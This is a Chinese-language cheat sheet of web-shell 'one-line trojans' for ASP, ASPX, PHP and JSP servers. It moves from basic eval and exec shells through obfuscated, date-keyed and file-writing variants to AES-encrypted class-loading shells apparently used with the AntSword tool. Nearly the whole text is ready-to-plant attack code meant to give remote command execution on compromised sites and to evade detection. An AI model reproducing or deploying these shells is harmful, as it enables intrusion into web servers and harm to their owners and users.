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asp一句话木马: 
<%execute(request("value"))%> 
php一句话木马: 
<?php @eval($_POST[value]);?> 
aspx一句话木马:
<%@ Page Language="Jscript"%> 
<%eval(Request.Item["value"])%>

例：

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ASP:
<%eval request("pass")%> 
ASPX:
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%> 
PHP:
<?php eval(@$_POST['a']);?>
JSP:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>//无回显示执行系统命令

简单变形：

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ASP:
<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>//-7 
ASPX:
<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>//-7 
PHP:<?php $_GET[a]($_GET[b]);?> 
JSP:
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

二次变形：

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ASP:
<%if request ("MH")<>""then session("MH")=request("MH"):end 
if:if session("MH")<>"" then execute session("MH")%> 
ASPX:
<%@ Page Language="Jscript"%><%eval(Request.Item[FormsAuthentication.HashPasswordForStoringInConfigFile(String.Format("{0:yyyyMMdd}",DateTime.Now.ToUniversalTime())+"37E4DD20C310142564FC483DB1132F36", "MD5").ToUpper()],"unsafe");%>//随日期变化的连接密码 
PHP:
<?php ($_=@$_GET[2]).@$_($_POST[1])?> 
JSP：<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>

三次变形：

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ASP:
<%@Page Language="C#" %><%@Import namespace="System.Reflection"%><%if (Request["pass"]!=null){ Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>//蚁剑中的一句话
PHP:
<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('\|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&call_user_func($b[0],$b[1]);?>//蚁剑中的一句话 
JSP:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>//蚁剑中的一句话

利用动态二进制加密实现新型一句话木马：

1 文章地址：https://xz.aliyun.com/t/2799